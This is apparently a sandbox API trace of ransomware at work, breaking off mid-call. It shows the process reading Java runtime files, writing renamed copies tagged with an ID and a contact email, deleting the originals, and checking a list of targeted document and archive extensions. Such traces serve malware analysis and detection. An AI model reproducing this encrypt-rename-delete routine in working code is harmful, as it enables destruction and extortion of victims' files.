lstrcmpiW (lpString1=".ttf", lpString2=".gate") returned 1 [0294.773] lstrlenW (lpString="LucidaTypewriterRegular.ttf") returned 27 [0294.773] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterregular.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0294.773] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=242700) returned 1 [0294.773] CloseHandle (hObject=0x528) returned 1 [0294.773] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterregular.ttf")) returned 0x20 [0294.773] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterregular.ttf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0294.774] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterregular.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0294.774] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0294.774] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0294.774] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterregular.ttf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0294.774] GetLastError () returned 0x0 [0294.774] ReadFile (in: hFile=0x528, lpBuffer=0x42d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesRead=0x38bfecc*=0x3b40c, lpOverlapped=0x0) returned 1 [0295.017] WriteFile (in: hFile=0x4c4, lpBuffer=0x42d1020*, nNumberOfBytesToWrite=0x3b410, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesWritten=0x38bfc94*=0x3b410, lpOverlapped=0x0) returned 1 [0295.020] ReadFile (in: hFile=0x528, lpBuffer=0x42d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0295.020] WriteFile (in: hFile=0x4c4, lpBuffer=0x42d1020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesWritten=0x38bfc94*=0x10a, lpOverlapped=0x0) returned 1 [0295.020] SetEndOfFile (hFile=0x4c4) returned 1 [0295.481] CloseHandle (hObject=0x4c4) returned 1 [0295.481] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0295.481] SetEndOfFile (hFile=0x528) returned 1 [0295.489] CloseHandle (hObject=0x528) returned 1 [0295.490] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0295.490] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterregular.ttf")) returned 1 [0295.490] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf") returned 72 [0295.490] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf") returned 72 [0295.490] lstrlenW (lpString=".doc") returned 4 [0295.491] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0295.491] lstrlenW (lpString=".docx") returned 5 [0295.491] lstrcmpiW (lpString1=".docx", lpString2="r.ttf") returned -1 [0295.491] lstrlenW (lpString=".pdf") returned 4 [0295.491] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0295.491] lstrlenW (lpString=".xls") returned 4 [0295.491] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0295.491] lstrlenW (lpString=".xlsx") returned 5 [0295.491] lstrcmpiW (lpString1=".xlsx", lpString2="r.ttf") returned -1 [0295.491] lstrlenW (lpString=".ppt") returned 4 [0295.491] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0295.491] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf") returned 72 [0295.491] lstrlenW (lpString=".zip") returned 4 [0295.491] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0295.491] lstrlenW (lpString=".rar") returned 4 [0295.491] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0295.491] lstrlenW (lpString=".bz2") returned 4 [0295.491] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0295.491] lstrlenW (lpString=".7z") returned 3 [0295.491] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0295.491] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf") returned 72 [0295.491] lstrlenW (lpString=".dbf") returned 4 [0295.491] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0295.491] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf") returned 72 [0295.491] lstrlenW (lpString=".1cd") returned 4 [0295.491] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0295.491] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf") returned 72 [0295.491] lstrlenW (lpString=".jpg") returned 4 [0295.491] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0295.491] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf") returned 72 [0295.491] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf") returned 72 [0295.491] lstrlenW (lpString=".doc") returned 4 [0295.491] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0295.492] lstrlenW (lpString=".docx") returned 5 [0295.492] lstrcmpiW (lpString1=".docx", lpString2="r.ttf") returned -1 [0295.492] lstrlenW (lpString=".pdf") returned 4 [0295.492] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0295.492] lstrlenW (lpString=".xls") returned 4 [0295.492] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0295.492] lstrlenW (lpString=".xlsx") returned 5 [0295.492] lstrcmpiW (lpString1=".xlsx", lpString2="r.ttf") returned -1 [0295.492] lstrlenW (lpString=".ppt") returned 4 [0295.492] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0295.492] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf") returned 72 [0295.492] lstrlenW (lpString=".zip") returned 4 [0295.492] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0295.492] lstrlenW (lpString=".rar") returned 4 [0295.492] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0295.492] lstrlenW (lpString=".bz2") returned 4 [0295.492] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0295.492] lstrlenW (lpString=".7z") returned 3 [0295.492] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0295.492] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf") returned 72 [0295.508] lstrlenW (lpString=".dbf") returned 4 [0295.508] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0295.508] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf") returned 72 [0295.508] lstrlenW (lpString=".1cd") returned 4 [0295.508] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0295.508] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf") returned 72 [0295.508] lstrlenW (lpString=".jpg") returned 4 [0295.508] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0295.508] lstrcmpiW (lpString1=".jar", lpString2=".gate") returned 1 [0295.509] lstrlenW (lpString="jce.jar") returned 7 [0295.509] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jce.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0295.853] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=116446) returned 1 [0295.853] CloseHandle (hObject=0x554) returned 1 [0295.853] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jce.jar")) returned 0x20 [0295.853] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jce.jar.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0295.853] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jce.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0295.854] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0295.854] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0295.854] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jce.jar.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0296.170] GetLastError () returned 0x0 [0296.170] ReadFile (in: hFile=0x554, lpBuffer=0x42d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesRead=0x38bfecc*=0x1c6de, lpOverlapped=0x0) returned 1 [0296.212] WriteFile (in: hFile=0x528, lpBuffer=0x42d1020*, nNumberOfBytesToWrite=0x1c6e0, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesWritten=0x38bfc94*=0x1c6e0, lpOverlapped=0x0) returned 1 [0296.215] ReadFile (in: hFile=0x554, lpBuffer=0x42d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0296.215] WriteFile (in: hFile=0x528, lpBuffer=0x42d1020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesWritten=0x38bfc94*=0xe2, lpOverlapped=0x0) returned 1 [0296.215] SetEndOfFile (hFile=0x528) returned 1 [0296.215] CloseHandle (hObject=0x528) returned 1 [0296.215] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0296.215] SetEndOfFile (hFile=0x554) returned 1 [0296.219] CloseHandle (hObject=0x554) returned 1 [0296.219] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0296.219] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jce.jar")) returned 1 [0296.220] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar") returned 46 [0296.221] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar") returned 46 [0296.221] lstrlenW (lpString=".doc") returned 4 [0296.221] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0296.221] lstrlenW (lpString=".docx") returned 5 [0296.221] lstrcmpiW (lpString1=".docx", lpString2="e.jar") returned -1 [0296.221] lstrlenW (lpString=".pdf") returned 4 [0296.221] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0296.221] lstrlenW (lpString=".xls") returned 4 [0296.221] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0296.221] lstrlenW (lpString=".xlsx") returned 5 [0296.221] lstrcmpiW (lpString1=".xlsx", lpString2="e.jar") returned -1 [0296.221] lstrlenW (lpString=".ppt") returned 4 [0296.221] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0296.221] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar") returned 46 [0296.221] lstrlenW (lpString=".zip") returned 4 [0296.221] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0296.221] lstrlenW (lpString=".rar") returned 4 [0296.221] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0296.221] lstrlenW (lpString=".bz2") returned 4 [0296.221] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0296.221] lstrlenW (lpString=".7z") returned 3 [0296.221] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0296.221] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar") returned 46 [0296.221] lstrlenW (lpString=".dbf") returned 4 [0296.221] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0296.221] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar") returned 46 [0296.221] lstrlenW (lpString=".1cd") returned 4 [0296.222] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0296.222] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar") returned 46 [0296.222] lstrlenW (lpString=".jpg") returned 4 [0296.222] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0296.222] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar") returned 46 [0296.222] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar") returned 46 [0296.222] lstrlenW (lpString=".doc") returned 4 [0296.222] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0296.222] lstrlenW (lpString=".docx") returned 5 [0296.222] lstrcmpiW (lpString1=".docx", lpString2="e.jar") returned -1 [0296.222] lstrlenW (lpString=".pdf") returned 4 [0296.222] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0296.222] lstrlenW (lpString=".xls") returned 4 [0296.222] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0296.222] lstrlenW (lpString=".xlsx") returned 5 [0296.222] lstrcmpiW (lpString1=".xlsx", lpString2="e.jar") returned -1 [0296.222] lstrlenW (lpString=".ppt") returned 4 [0296.222] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0296.222] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar") returned 46 [0296.222] lstrlenW (lpString=".zip") returned 4 [0296.222] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0296.222] lstrlenW (lpString=".rar") returned 4 [0296.222] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0296.222] lstrlenW (lpString=".bz2") returned 4 [0296.222] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0296.222] lstrlenW (lpString=".7z") returned 3 [0296.223] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0296.223] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar") returned 46 [0296.223] lstrlenW (lpString=".dbf") returned 4 [0296.223] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0296.223] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar") returned 46 [0296.223] lstrlenW (lpString=".1cd") returned 4 [0296.223] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0296.223] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar") returned 46 [0296.223] lstrlenW (lpString=".jpg") returned 4 [0296.223] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0296.223] lstrcmpiW (lpString1=".jar", lpString2=".gate") returned 1 [0296.223] lstrlenW (lpString="jsse.jar") returned 8 [0296.223] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jsse.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0296.224] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=584576) returned 1 [0296.224] CloseHandle (hObject=0x554) returned 1 [0296.224] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jsse.jar")) returned 0x20 [0296.224] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jsse.jar.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0296.224] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jsse.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0296.225] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0296.225] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0296.225] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jsse.jar.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0296.226] GetLastError () returned 0x0 [0296.226] ReadFile (in: hFile=0x554, lpBuffer=0x42d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesRead=0x38bfecc*=0x8eb80, lpOverlapped=0x0) returned 1 [0296.373] WriteFile (in: hFile=0x528, lpBuffer=0x42d1020*, nNumberOfBytesToWrite=0x8eb90, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesWritten=0x38bfc94*=0x8eb90, lpOverlapped=0x0) returned 1 [0296.381] ReadFile (in: hFile=0x554, lpBuffer=0x42d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0296.381] WriteFile (in: hFile=0x528, lpBuffer=0x42d1020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesWritten=0x38bfc94*=0xe4, lpOverlapped=0x0) returned 1 [0296.382] SetEndOfFile (hFile=0x528) returned 1 [0296.382] CloseHandle (hObject=0x528) returned 1 [0296.382] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0296.382] SetEndOfFile (hFile=0x554) returned 1 [0296.401] CloseHandle (hObject=0x554) returned 1 [0296.402] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0296.407] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jsse.jar")) returned 1 [0296.446] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar") returned 47 [0296.446] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar") returned 47 [0296.446] lstrlenW (lpString=".doc") returned 4 [0296.446] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0296.446] lstrlenW (lpString=".docx") returned 5 [0296.446] lstrcmpiW (lpString1=".docx", lpString2="e.jar") returned -1 [0296.446] lstrlenW (lpString=".pdf") returned 4 [0296.446] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0296.446] lstrlenW (lpString=".xls") returned 4 [0296.446] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0296.446] lstrlenW (lpString=".xlsx") returned 5 [0296.446] lstrcmpiW (lpString1=".xlsx", lpString2="e.jar") returned -1 [0296.446] lstrlenW (lpString=".ppt") returned 4 [0296.446] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0296.446] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar") returned 47 [0296.446] lstrlenW (lpString=".zip") returned 4 [0296.446] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0296.446] lstrlenW (lpString=".rar") returned 4 [0296.447] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0296.447] lstrlenW (lpString=".bz2") returned 4 [0296.447] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0296.447] lstrlenW (lpString=".7z") returned 3 [0296.447] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0296.447] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar") returned 47 [0296.447] lstrlenW (lpString=".dbf") returned 4 [0296.447] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0296.447] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar") returned 47 [0296.447] lstrlenW (lpString=".1cd") returned 4 [0296.447] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0296.447] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar") returned 47 [0296.447] lstrlenW (lpString=".jpg") returned 4 [0296.447] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0296.447] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar") returned 47 [0296.447] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar") returned 47 [0296.447] lstrlenW (lpString=".doc") returned 4 [0296.447] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0296.447] lstrlenW (lpString=".docx") returned 5 [0296.447] lstrcmpiW (lpString1=".docx", lpString2="e.jar") returned -1 [0296.447] lstrlenW (lpString=".pdf") returned 4 [0296.447] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0296.447] lstrlenW (lpString=".xls") returned 4 [0296.447] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0296.447] lstrlenW (lpString=".xlsx") returned 5 [0296.447] lstrcmpiW (lpString1=".xlsx", lpString2="e.jar") returned -1 [0296.447] lstrlenW (lpString=".ppt") returned 4 [0296.447] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0296.447] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar") returned 47 [0296.447] lstrlenW (lpString=".zip") returned 4 [0296.447] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0296.447] lstrlenW (lpString=".rar") returned 4 [0296.447] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0296.447] lstrlenW (lpString=".bz2") returned 4 [0296.447] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0296.448] lstrlenW (lpString=".7z") returned 3 [0296.448] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0296.448] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar") returned 47 [0296.448] lstrlenW (lpString=".dbf") returned 4 [0296.448] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0296.448] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar") returned 47 [0296.448] lstrlenW (lpString=".1cd") returned 4 [0296.448] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0296.448] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar") returned 47 [0296.448] lstrlenW (lpString=".jpg") returned 4 [0296.448] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0296.448] lstrcmpiW (lpString1=".access", lpString2=".gate") returned -1 [0296.448] lstrlenW (lpString="jmxremote.access") returned 16 [0296.448] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.access"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0296.544] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=3998) returned 1 [0296.544] CloseHandle (hObject=0x554) returned 1 [0296.544] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.access")) returned 0x20 [0296.574] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.access.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0296.962] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.access"), 